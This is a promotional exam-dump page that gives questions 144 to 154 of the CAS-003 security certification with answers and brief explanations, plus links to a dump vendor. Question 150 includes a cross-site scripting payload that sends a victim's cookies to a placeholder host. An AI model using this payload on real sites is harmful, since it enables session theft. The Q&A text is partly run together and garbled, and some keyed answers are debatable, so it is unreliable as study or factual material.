[Nov-2018Full Version CAS-003 PDF 374Q for Free Download[Q144-154

2018/November CAS-003 Exam Dumps with PDF and VCE New Updated Today! Following are some new CAS-003 Real Exam Questions:1.|2018 Latest CAS-003 Exam Dumps (PDF & VCE) 374Q&As Download:https://www.braindump2go.com/cas-003.html2.|2018 Latest CAS-003 Exam Questions & Answers Download:https://drive.google.com/drive/folders/11eVcvdRTGUBlESzBX9a6YlPUYiZ4xoHE?usp=sharingQUESTION 144A multi-national company has a highly mobile workforce and minimal IT infrastructure. The company utilizes a BYOD and social media policy to integrate presence technology into global collaboration tools by individuals and teams. As a result of the dispersed employees and frequent international travel, the company is concerned about the safety of employees and their families when moving in and out of certain countries. Which of the following could the company view as a downside of using presence technology?A.   Insider threatB.   Network reconnaissanceC.   Physical securityD.   Industrial espionageAnswer: CExplanation:If all company users worked in the same office with one corporate network and using company supplied laptops, then it is easy to implement all sorts of physical security controls. Examples of physical security include intrusion detection systems, fire protection systems, surveillance cameras or simply a lock on the office door. However, in this question we have dispersed employees using their own devices and frequently traveling internationally. This makes it extremely difficult to implement any kind of physical security.Physical security is the protection of personnel, hardware, programs, networks, and data from physical circumstances and events that could cause serious losses or damage to an enterprise, agency, or institution. This includes protection from fire, natural disasters, burglary, theft, vandalism, and terrorism.QUESTION 145An administrator wants to enable policy based flexible mandatory access controls on an open source OS to prevent abnormal application modifications or executions. Which of the following would BEST accomplish this?A.   Access control listsB.   SELinuxC.   IPtables firewallD.   HIPSAnswer: B Explanation:The most common open source operating system is LINUX. Security-Enhanced Linux (SELinux) was created by the United States National Security Agency (NSA) and is a Linux kernel security module that provides a mechanism for supporting access control security policies, including United States Department of Defense?tyle mandatory access controls (MAC).NSA Security-enhanced Linux is a set of patches to the Linux kernel and some utilities to incorporate a strong, flexible mandatory access control (MAC) architecture into the major subsystems of the kernel. It provides an enhanced mechanism to enforce the separation of information based on confidentiality and integrity requirements, which allows threats of tampering and bypassing of application security mechanisms to be addressed and enables the confinement of damage that can be caused by malicious or flawed applications.QUESTION 146News outlets are beginning to report on a number of retail establishments that are experiencing payment card data breaches. The data exfiltration is enabled by malware on a compromised computer. After the initial exploit, network mapping and fingerprinting is conducted to prepare for further exploitation. Which of the following is the MOST effective solution to protect against unrecognized malware infections?A.   Remove local admin permissions from all users and change anti-virus to a cloud aware, push technology.B.   Implement an application whitelist at all levels of the organization.C.   Deploy a network based heuristic IDS, configure all layer 3 switches to feed data to the IDS for more effective monitoring.D.   Update router configuration to pass all network traffic through a new proxy server with advanced malware detection.Answer: BExplanation:In essence a whitelist screening will ensure that only acceptable applications are passed / or granted access.QUESTION 147Company ABC's SAN is nearing capacity, and will cause costly downtimes if servers run out disk space. Which of the following is a more cost effective alternative to buying a new SAN?A.   Enable multipath to increase availabilityB.   Enable deduplication on the storage poolsC.   Implement snapshots to reduce virtual disk sizeD.   Implement replication to offsite datacenterAnswer: BExplanation: Storage-based data deduplication reduces the amount of storage needed for a given set of files. It is most effective in applications where many copies of very similar or even identical data are stored on a single disk.It is common for multiple copies of files to exist on a SAN. By eliminating (deduplicating) repeated copies of the files, we can reduce the disk space used on the existing SAN. This solution is a cost effective alternative to buying a new SAN.QUESTION 148Wireless users are reporting issues with the company's video conferencing and VoIP systems. The security administrator notices internal DoS attacks from infected PCs on the network causing the VoIP system to drop calls. The security administrator also notices that the SIP servers are unavailable during these attacks. Which of the following security controls will MOST likely mitigate the VoIP DoS attacks on the network? (Select TWO).A.   Install a HIPS on the SIP serversB.   Configure 802.1X on the networkC.   Update the corporate firewall to block attacking addressesD.   Configure 802.11e on the networkE.   Configure 802.1q on the networkAnswer: ADExplanation:Host-based intrusion prevention system (HIPS) is an installed software package that will monitor a single host for suspicious activity by analyzing events taking place within that host.IEEE 802.11e is deemed to be of significant consequence for delay-sensitive applications, such as Voice over Wireless LAN and streaming multimedia.QUESTION 149A large hospital has implemented BYOD to allow doctors and specialists the ability to access patient medical records on their tablets. The doctors and specialists access patient records over the hospital's guest WiFi network which is isolated from the internal network with appropriate security controls. The patient records management system can be accessed from the guest network and require two factor authentication. Using a remote desktop type interface, the doctors and specialists can interact with the hospital's system. Cut and paste and printing functions are disabled to prevent the copying of data to BYOD devices. Which of the following are of MOST concern? (Select TWO).A. Privacy could be compromised as patient records can be viewed in uncontrolled areas.B. Device encryption has not been enabled and will result in a greater likelihood of data loss.C. The guest WiFi may be exploited allowing non-authorized individuals access to confidential patient data.D. Malware may be on BYOD devices which can extract data via key logging and screen scrapes.E. Remote wiping of devices should be enabled to ensure any lost device is rendered inoperable.Answer: ADExplanation:Privacy could be compromised because patient records can be from a doctor's personal device. This can then be shown to persons not authorized to view this information. Similarly, the doctor's personal device could have malware on it.QUESTION 150A security administrator notices the following line in a server's security log:< input name='credentials' type='TEXT' value='" + request.getParameter('><script>document.location='**http://badsite.com/?q='document.cooki** e</script>') + "';The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?A. WAFB. Input validationC. SIEMD. SandboxingE. DAMAnswer: AExplanation:The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a Web Application Firewall.A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a WAF inspects every HTML, HTTPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data. A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.QUESTION 151Company policy requires that all company laptops meet the following baseline requirements:Software requirements:AntivirusAnti-malwareAnti-spywareLog monitoringFull-disk encryptionTerminal services enabled for RDP Administrative access for local usersHardware restrictions:Bluetooth disabledFireWire disabledWiFi adapter disabledAnn, a web developer, reports performance issues with her laptop and is not able to access any network resources. After further investigation, a bootkit was discovered and it was trying to access external websites. Which of the following hardening techniques should be applied to mitigate this specific issue from reoccurring? (Select TWO).A. Group policy to limit web accessB. Restrict VPN access for all mobile usersC. Remove full-disk encryptionD. Remove administrative access to local usersE. Restrict/disable TELNET access to network resourcesF. Perform vulnerability scanning on a daily basisG. Restrict/disable USB accessAnswer: DGExplanation:A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or areas of its software that would not otherwise be allowed (for example, to an unauthorized user) while at the same time masking its existence or the existence of other software. A bootkit is similar to a rootkit except the malware infects the master boot record on a hard disk. Malicious software such as bootkits or rootkits typically require administrative privileges to be installed. Therefore, one method of preventing such attacks is to remove administrative access for local users.A common source of malware infections is portable USB flash drives. The flash drives are often plugged into less secure computers such as a user's home computer and then taken to work and plugged in to a work computer. We can prevent this from happening by restricting or disabling access to USB devices.QUESTION 152A security analyst, Ann, states that she believes Internet facing file transfer servers are being attacked. Which of the following is evidence that would aid Ann in making a case to management that action needs to be taken to safeguard these servers?A. Provide a report of all the IP addresses that are connecting to the systems and their locationsB. Establish alerts at a certain threshold to notify the analyst of high activityC. Provide a report showing the file transfer logs of the serversD. Compare the current activity to the baseline of normal activityAnswer: DExplanation:In risk assessment a baseline forms the foundation for how an organization needs to increase or enhance its current level of security. This type of assessment will provide Ann with the necessary information to take to management.QUESTION 153The security engineer receives an incident ticket from the helpdesk stating that DNS lookup requests are no longer working from the office. The network team has ensured that Layer 2 and Layer 3 connectivity are working. Which of the following tools would a security engineer use to make sure the DNS server is listening on port 53?A. PINGB. NESSUSC. NSLOOKUPD. NMAPAnswer: DExplanation:NMAP works as a port scanner and is used to check if the DNS server is listening on port 53.QUESTION 154A security auditor suspects two employees of having devised a scheme to steal money from the company. While one employee submits purchase orders for personal items, the other employee approves these purchase orders. The auditor has contacted the human resources director with suggestions on how to detect such illegal activities. Which of the following should the human resource director implement to identify the employees involved in these activities and reduce the risk of this activity occurring in the future?A. Background checksB. Job rotationC. Least privilegeD. Employee termination proceduresAnswer: BExplanation:Job rotation can reduce fraud or misuse by preventing an individual from having too much control over an area.!!!RECOMMEND!!!1.|2018 Latest CAS-003 Exam Dumps (PDF & VCE) 374Q&As Download:https://www.braindump2go.com/cas-003.html2.|2018 Latest CAS-003 Study Guide Video: YouTube Video: YouTube.com/watch?v=ZdQwbjNbjb0